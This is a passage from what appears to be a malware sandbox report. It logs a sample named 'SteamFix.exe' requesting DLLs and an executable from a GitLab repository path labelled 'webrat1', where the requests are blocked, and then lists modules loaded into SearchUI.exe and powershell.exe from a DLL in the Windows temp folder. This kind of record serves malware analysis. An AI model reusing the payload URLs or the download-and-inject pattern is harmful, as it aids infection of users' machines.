data:; connect-src 'self' https://gitlab.com wss://gitlab.com https://sentry.gitlab.net https://new-sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net https://sourcegraph.com https://collector.prd-278964.gl-product-analytics.com https://analytics.gitlab.com snowplowprd.trx.gitlab.net; default-src 'self'; font-src 'self'; form-action 'self' https: http:; frame-ancestors 'self'; frame-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/; img-src 'self' data: blob: http: https:; manifest-src 'self'; media-src 'self' data: blob: http: https:; object-src 'none'; report-uri https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_environment=gprd; script-src 'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.recaptcha.net/ https://apis.google.com https://*.zuora.com/apps/PublicHostedPageLite.do 'nonce-X7/ZiLe1Xo07IwMqvRkrUw=='; style-src 'self' 'unsafe-inline'; worker-src 'self' https://gitlab.com/assets/ blob: data: gitlab-lb: haproxy-main-49-lb-gprd gitlab-sv: web-gke-us-east1-b nel: {"max_age": 0} permissions-policy: interest-cohort=() ratelimit-limit: 500 ratelimit-name: throttle_unauthenticated_web ratelimit-observed: 2 ratelimit-remaining: 498 ratelimit-reset: 1792573260 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"a4df121f0f7cd045-SJC" "version":"1"} x-permitted-cross-domain-policies: none x-request-id: a4df121f0f7cd045-SJC x-runtime: 0.079737 x-ua-compatible: IE=edge x-xss-protection: 1; mode=block with response body ==>3C68746D6C3E3C626F64793E596F7520617265206265696E67203C6120687265663D2268747470733A2F2F6769746C61622E636F6D2F75736572732F7369676E....... "GET /users/sign_in HTTP/1.1" Response ==> HTTP/1.1 403 Forbidden Date: Wed 21 Oct 2026 09:00:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5322 Connection: close Accept-Ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA Cf-Mitigated: challenge Content-Security-Policy: default-src 'none'; script-src 'nonce-9xjUHIEmdO6g7SI4uv9DrZ' 'unsafe-eval' https://challenges.cloudflare.com; script-src-attr 'none'; style-src 'unsafe-inline'; img-src 'self' https://challenges.cloudflare.com; connect-src 'self' https://challenges.cloudflare.com; frame-src 'self' https://challenges.cloudflare.com blob:; child-src 'self' https://challenges.cloudflare.com blob:; worker-src blob:; form-action http: https:; base-uri 'self' Server: cloudflare Critical-Ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA Cross-Origin-Embedder-Policy: require-corp Nel: {"report_to":"cf-nel" "success_fraction":0.01 "max_age":604800} Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=() camera=() clipboard-read=() clipboard-write=() geolocation=() gyroscope=() hid=() magnetometer=() microphone=() payment=() publickey-credentials-get=() screen-wake-lock=() serial=() sync-xhr=() usb=() xr-spatial-tracking=* Referrer-Policy: same-origin Server-Timing: chlray;desc="a4df12204800d045" X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=E0b1ezYLsTZXY8s8NnBGfc4sAgg%2FoO9%2F1e5Nvw0%2F%2FH5KqfppWyPkL8uLcOb01PsZ3pohG%2FHtANZXe%2FPdUf%2F7J5ot7kYWsGZDo7RvIowDVFW3eB7ulk8cdgNgDQc%3D"}]} Cache-Control: no-store private max-age=0 Cross-Origin-Opener-Policy: same-origin CF-RAY: a4df12204800d045-SJC with response body ==>3C21444F43545950452068746D6C3E3C68746D6C206C616E673D22656E2D5553223E3C686561643E3C7469746C653E4A7573742061206D6F6D656E742E2E2E3C....... "GET /webrat1/importantfiles/-/raw/main/MSTSCLib.dll HTTP/1.1" Response ==> HTTP/1.1 302 Found Date: Wed 21 Oct 2026 09:00:14 GMT Content-Type: text/html; charset=utf-8 Content-Length: 98 Connection: keep-alive Location: https://gitlab.com/users/sign_in CF-Ray: a4df12208baef963-SJC CF-Cache-Status: BYPASS Cache-Control: no-cache Server: cloudflare Set-Cookie: _gitlab_session=cell-1-73968e6b7ccfad5e525df79df8886b2e; path=/; secure; HttpOnly; SameSite=None Strict-Transport-Security: max-age=31536000 content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ 'self' https://gitlab.com/assets/ blob: data:; connect-src 'self' https://gitlab.com wss://gitlab.com https://sentry.gitlab.net https://new-sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net https://sourcegraph.com https://collector.prd-278964.gl-product-analytics.com https://analytics.gitlab.com snowplowprd.trx.gitlab.net; default-src 'self'; font-src 'self'; form-action 'self' https: http:; frame-ancestors 'self'; frame-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/; img-src 'self' data: blob: http: https:; manifest-src 'self'; media-src 'self' data: blob: http: https:; object-src 'none'; report-uri https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_environment=gprd; script-src 'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.recaptcha.net/ https://apis.google.com https://*.zuora.com/apps/PublicHostedPageLite.do 'nonce-6JHhxG5Pdn9UR/UUb0IEdA=='; style-src 'self' 'unsafe-inline'; worker-src 'self' https://gitlab.com/assets/ blob: data: gitlab-lb: haproxy-main-27-lb-gprd gitlab-sv: web-gke-us-east1-d nel: {"max_age": 0} permissions-policy: interest-cohort=() ratelimit-limit: 500 ratelimit-name: throttle_unauthenticated_web ratelimit-observed: 3 ratelimit-remaining: 497 ratelimit-reset: 1792573260 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"a4df12208baef963-SJC" "version":"1"} x-permitted-cross-domain-policies: none x-request-id: a4df12208baef963-SJC x-runtime: 0.046788 x-ua-compatible: IE=edge x-xss-protection: 1; mode=block with response body ==>3C68746D6C3E3C626F64793E596F7520617265206265696E67203C6120687265663D2268747470733A2F2F6769746C61622E636F6D2F75736572732F7369676E....... "GET /users/sign_in HTTP/1.1" Response ==> HTTP/1.1 403 Forbidden Date: Wed 21 Oct 2026 09:00:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5322 Connection: close Accept-Ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA Cf-Mitigated: challenge Content-Security-Policy: default-src 'none'; script-src 'nonce-jegSKHhB2y6oyE6E7DoeWY' 'unsafe-eval' https://challenges.cloudflare.com; script-src-attr 'none'; style-src 'unsafe-inline'; img-src 'self' https://challenges.cloudflare.com; connect-src 'self' https://challenges.cloudflare.com; frame-src 'self' https://challenges.cloudflare.com blob:; child-src 'self' https://challenges.cloudflare.com blob:; worker-src blob:; form-action http: https:; base-uri 'self' Server: cloudflare Critical-Ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA Cross-Origin-Embedder-Policy: require-corp Nel: {"report_to":"cf-nel" "success_fraction":0.01 "max_age":604800} Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=() camera=() clipboard-read=() clipboard-write=() geolocation=() gyroscope=() hid=() magnetometer=() microphone=() payment=() publickey-credentials-get=() screen-wake-lock=() serial=() sync-xhr=() usb=() xr-spatial-tracking=* Referrer-Policy: same-origin Server-Timing: chlray;desc="a4df12219c18f963" X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=2SiD0eYtCEJ7s%2B6fW0B3hffNMa0ZmewIxZDlnTBwzOloipzrEN1vYq3ZN8Lxk%2F8iuTyNwV9J%2BTLxtRTrhDq63izMNXvFNsprCmJMLqEYpgtF8vLxtK5KCKwJKRk%3D"}]} Cache-Control: no-store private max-age=0 Cross-Origin-Opener-Policy: same-origin CF-RAY: a4df12219c18f963-SJC with response body ==>3C21444F43545950452068746D6C3E3C68746D6C206C616E673D22656E2D5553223E3C686561643E3C7469746C653E4A7573742061206D6F6D656E742E2E2E3C....... "GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll HTTP/1.1" Response ==> HTTP/1.1 302 Found Date: Wed 21 Oct 2026 09:00:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 98 Connection: keep-alive Location: https://gitlab.com/users/sign_in CF-Ray: a4df1221da87d00d-SJC CF-Cache-Status: BYPASS Cache-Control: no-cache Server: cloudflare Set-Cookie: _gitlab_session=cell-1-aeb92a4d129afb8e73c11aa29ece78bb; path=/; secure; HttpOnly; SameSite=None Strict-Transport-Security: max-age=31536000 content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ 'self' https://gitlab.com/assets/ blob: data:; connect-src 'self' https://gitlab.com wss://gitlab.com https://sentry.gitlab.net https://new-sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net https://sourcegraph.com https://collector.prd-278964.gl-product-analytics.com https://analytics.gitlab.com snowplowprd.trx.gitlab.net; default-src 'self'; font-src 'self'; form-action 'self' https: http:; frame-ancestors 'self'; frame-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/; img-src 'self' data: blob: http: https:; manifest-src 'self'; media-src 'self' data: blob: http: https:; object-src 'none'; report-uri https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_environment=gprd; script-src 'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.recaptcha.net/ https://apis.google.com https://*.zuora.com/apps/PublicHostedPageLite.do 'nonce-7/gJHWR7zgO5p1ulA8v72Q=='; style-src 'self' 'unsafe-inline'; worker-src 'self' https://gitlab.com/assets/ blob: data: gitlab-lb: haproxy-main-54-lb-gprd gitlab-sv: web-gke-us-east1-d nel: {"max_age": 0} permissions-policy: interest-cohort=() ratelimit-limit: 500 ratelimit-name: throttle_unauthenticated_web ratelimit-observed: 4 ratelimit-remaining: 496 ratelimit-reset: 1792573260 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"a4df1221da87d00d-SJC" "version":"1"} x-permitted-cross-domain-policies: none x-request-id: a4df1221da87d00d-SJC x-runtime: 0.101214 x-ua-compatible: IE=edge x-xss-protection: 1; mode=block with response body ==>3C68746D6C3E3C626F64793E596F7520617265206265696E67203C6120687265663D2268747470733A2F2F6769746C61622E636F6D2F75736572732F7369676E....... "GET /users/sign_in HTTP/1.1" Response ==> HTTP/1.1 403 Forbidden Date: Wed 21 Oct 2026 09:00:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5322 Connection: close Accept-Ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA Cf-Mitigated: challenge Content-Security-Policy: default-src 'none'; script-src 'nonce-tusYJOO3b2H4Kk1ThtOWFC' 'unsafe-eval' https://challenges.cloudflare.com; script-src-attr 'none'; style-src 'unsafe-inline'; img-src 'self' https://challenges.cloudflare.com; connect-src 'self' https://challenges.cloudflare.com; frame-src 'self' https://challenges.cloudflare.com blob:; child-src 'self' https://challenges.cloudflare.com blob:; worker-src blob:; form-action http: https:; base-uri 'self' Server: cloudflare Critical-Ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA Cross-Origin-Embedder-Policy: require-corp Nel: {"report_to":"cf-nel" "success_fraction":0.01 "max_age":604800} Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=() camera=() clipboard-read=() clipboard-write=() geolocation=() gyroscope=() hid=() magnetometer=() microphone=() payment=() publickey-credentials-get=() screen-wake-lock=() serial=() sync-xhr=() usb=() xr-spatial-tracking=* Referrer-Policy: same-origin Server-Timing: chlray;desc="a4df12232ae9d00d" X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=g0b4kWJwMFWJMiPBs6BqsHdZTWl%2FJe9cguO%2F6x7HOUdbmLLmAjomiHc%2Fl9YeKDuL3spjMITe4Iw2izJSQJMmqN44GIMfz7dFDmQgucm1Y5zwTmQ%2BHrlKhEEnktc%3D"}]} Cache-Control: no-store private max-age=0 Cross-Origin-Opener-Policy: same-origin CF-RAY: a4df12232ae9d00d-SJC with response body ==>3C21444F43545950452068746D6C3E3C68746D6C206C616E673D22656E2D5553223E3C686561643E3C7469746C653E4A7573742061206D6F6D656E742E2E2E3C....... "GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe HTTP/1.1" Response ==> HTTP/1.1 302 Found Date: Wed 21 Oct 2026 09:00:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 98 Connection: keep-alive Location: https://gitlab.com/users/sign_in CF-Ray: a4df12243cbf2522-SJC CF-Cache-Status: BYPASS Cache-Control: no-cache Server: cloudflare Set-Cookie: _gitlab_session=cell-1-d71856ff286ca5fd07a20f8a55a43677; path=/; secure; HttpOnly; SameSite=None Strict-Transport-Security: max-age=31536000 content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ 'self' https://gitlab.com/assets/ blob: data:; connect-src 'self' https://gitlab.com wss://gitlab.com https://sentry.gitlab.net https://new-sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net https://sourcegraph.com https://collector.prd-278964.gl-product-analytics.com https://analytics.gitlab.com snowplowprd.trx.gitlab.net; default-src 'self'; font-src 'self'; form-action 'self' https: http:; frame-ancestors 'self'; frame-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/; img-src 'self' data: blob: http: https:; manifest-src 'self'; media-src 'self' data: blob: http: https:; object-src 'none'; report-uri https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_environment=gprd; script-src 'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.recaptcha.net/ https://apis.google.com https://*.zuora.com/apps/PublicHostedPageLite.do 'nonce-W8PGS3DvQA752FOxTqomvg=='; style-src 'self' 'unsafe-inline'; worker-src 'self' https://gitlab.com/assets/ blob: data: gitlab-lb: haproxy-main-51-lb-gprd gitlab-sv: web-gke-us-east1-d nel: {"max_age": 0} permissions-policy: interest-cohort=() ratelimit-limit: 500 ratelimit-name: throttle_unauthenticated_web ratelimit-observed: 5 ratelimit-remaining: 495 ratelimit-reset: 1792573260 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"a4df12243cbf2522-SJC" "version":"1"} x-permitted-cross-domain-policies: none x-request-id: a4df12243cbf2522-SJC x-runtime: 0.095336 x-ua-compatible: IE=edge x-xss-protection: 1; mode=block with response body ==>3C68746D6C3E3C626F64793E596F7520617265206265696E67203C6120687265663D2268747470733A2F2F6769746C61622E636F6D2F75736572732F7369676E....... "GET /users/sign_in HTTP/1.1" Response ==> HTTP/1.1 403 Forbidden Date: Wed 21 Oct 2026 09:00:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5322 Connection: close Accept-Ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA Cf-Mitigated: challenge Content-Security-Policy: default-src 'none'; script-src 'nonce-Nm4faKrOphaO7JD0taiBBi' 'unsafe-eval' https://challenges.cloudflare.com; script-src-attr 'none'; style-src 'unsafe-inline'; img-src 'self' https://challenges.cloudflare.com; connect-src 'self' https://challenges.cloudflare.com; frame-src 'self' https://challenges.cloudflare.com blob:; child-src 'self' https://challenges.cloudflare.com blob:; worker-src blob:; form-action http: https:; base-uri 'self' Server: cloudflare Critical-Ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA Cross-Origin-Embedder-Policy: require-corp Nel: {"report_to":"cf-nel" "success_fraction":0.01 "max_age":604800} Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=() camera=() clipboard-read=() clipboard-write=() geolocation=() gyroscope=() hid=() magnetometer=() microphone=() payment=() publickey-credentials-get=() screen-wake-lock=() serial=() sync-xhr=() usb=() xr-spatial-tracking=* Referrer-Policy: same-origin Server-Timing: chlray;desc="a4df1225dd412522" X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=NubC2wa%2BWqUo1avEVBjW6ooLnYWmtR4EJnBhFHI2%2FcXVYdZEl1qftxe27tK%2FGH26yVr%2BK%2BXvv7RvxbUc5RpV%2BnYIg07hKzMPink%2FraEDPCYn4Xh%2FnKiwFpELtzI%3D"}]} Cache-Control: no-store private max-age=0 Cross-Origin-Opener-Policy: same-origin CF-RAY: a4df1225dd412522-SJC with response body ==>3C21444F43545950452068746D6C3E3C68746D6C206C616E673D22656E2D5553223E3C686561643E3C7469746C653E4A7573742061206D6F6D656E742E2E2E3C.......43:T35de,"SteamFix.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73910000 "SteamFix.exe" loaded module "KERNEL32.DLL" at base 74560000 "SteamFix.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 76e70000 "SteamFix.exe" loaded module "NTDLL.DLL" at base 77120000 "SteamFix.exe" loaded module "WINMM.DLL" at base 738c0000 "SteamFix.exe" loaded module "POWRPROF.DLL" at base 74200000 "SteamFix.exe" loaded module "WS2_32.DLL" at base 76780000 "SteamFix.exe" loaded module "USER32.DLL" at base 73d90000 "SteamFix.exe" loaded module "ADVAPI32.DLL" at base 76b90000 "SteamFix.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73830000 "SteamFix.exe" loaded module "IPHLPAPI.DLL" at base 73800000 "SteamFix.exe" loaded module "RPCRT4.DLL" at base 76c10000 "SteamFix.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 73710000 "SteamFix.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 736c0000 "SteamFix.exe" loaded module "USERENV.DLL" at base 73670000 "SteamFix.exe" loaded module "SECUR32.DLL" at base 73660000 "SteamFix.exe" loaded module "SSPICLI.DLL" at base 73b40000 "SteamFix.exe" loaded module "OLE32.DLL" at base 74460000 "SteamFix.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 735e0000 "SteamFix.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75b50000 "SteamFix.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 735a0000 "SteamFix.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76b90000 "SteamFix.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 73520000 "SteamFix.exe" loaded module "%WINDIR%\SYSWOW64\OLEAUT32.DLL" at base 74750000 "SteamFix.exe" loaded module "OLEAUT32.DLL" at base 74750000 "SteamFix.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 73470000 "SteamFix.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 73460000 "SteamFix.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 733a0000 "SteamFix.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 75b50000 "SteamFix.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 75b50000 "SteamFix.exe" loaded module "%WINDIR%\SYSWOW64\TASKSCHD.DLL" at base 73550000 "SteamFix.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73a90000 "SearchUI.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73910000 "SearchUI.exe" loaded module "KERNEL32.DLL" at base 74560000 "SearchUI.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 76e70000 "SearchUI.exe" loaded module "NTDLL.DLL" at base 77120000 "SearchUI.exe" loaded module "WINMM.DLL" at base 738c0000 "SearchUI.exe" loaded module "POWRPROF.DLL" at base 74200000 "SearchUI.exe" loaded module "WS2_32.DLL" at base 76780000 "SearchUI.exe" loaded module "USER32.DLL" at base 73d90000 "SearchUI.exe" loaded module "ADVAPI32.DLL" at base 76b90000 "SearchUI.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73830000 "SearchUI.exe" loaded module "IPHLPAPI.DLL" at base 73800000 "SearchUI.exe" loaded module "RPCRT4.DLL" at base 76c10000 "SearchUI.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 73710000 "SearchUI.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 736c0000 "SearchUI.exe" loaded module "USERENV.DLL" at base 73670000 "SearchUI.exe" loaded module "SECUR32.DLL" at base 73660000 "SearchUI.exe" loaded module "SSPICLI.DLL" at base 73b40000 "SearchUI.exe" loaded module "OLE32.DLL" at base 74460000 "SearchUI.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 735e0000 "SearchUI.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75b50000 "SearchUI.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 735a0000 "SearchUI.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76b90000 "SearchUI.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 73520000 "SearchUI.exe" loaded module "%WINDIR%\SYSWOW64\OLEAUT32.DLL" at base 74750000 "SearchUI.exe" loaded module "OLEAUT32.DLL" at base 74750000 "SearchUI.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 73470000 "SearchUI.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 73460000 "SearchUI.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 733a0000 "SearchUI.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 75b50000 "SearchUI.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 75b50000 "SearchUI.exe" loaded module "WTSAPI32.DLL" at base 735d0000 "SearchUI.exe" loaded module "GDI32.DLL" at base 76cd0000 "SearchUI.exe" loaded module "CRYPT32.DLL" at base 73b60000 "SearchUI.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73a90000 "SearchUI.exe" loaded module "RSTRTMGR.DLL" at base 71070000 "SearchUI.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 76e70000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73910000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 76b90000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75b50000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75b50000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75b50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 733a0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 74630000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 76b80000 "powershell.exe" loaded module "VERSION.DLL" at base 73550000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 72bf0000 "powershell.exe" loaded module "USER32.DLL" at base 73d90000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 75b50000 "powershell.exe" loaded module "MSCOREE.DLL" at base 73430000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 76ed0000 "powershell.exe" loaded module "PSAPI.DLL" at base 73d80000 "powershell.exe" loaded module "RPCRT4.DLL" at base 76c10000 "powershell.exe" loaded module "KERNEL32.DLL" at base 74560000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 71730000 "powershell.exe" loaded module "OLE32.DLL" at base 74460000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 76ed0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 74750000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 71700000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 76e70000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 75b50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 71670000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 70430000 "powershell.exe" loaded module 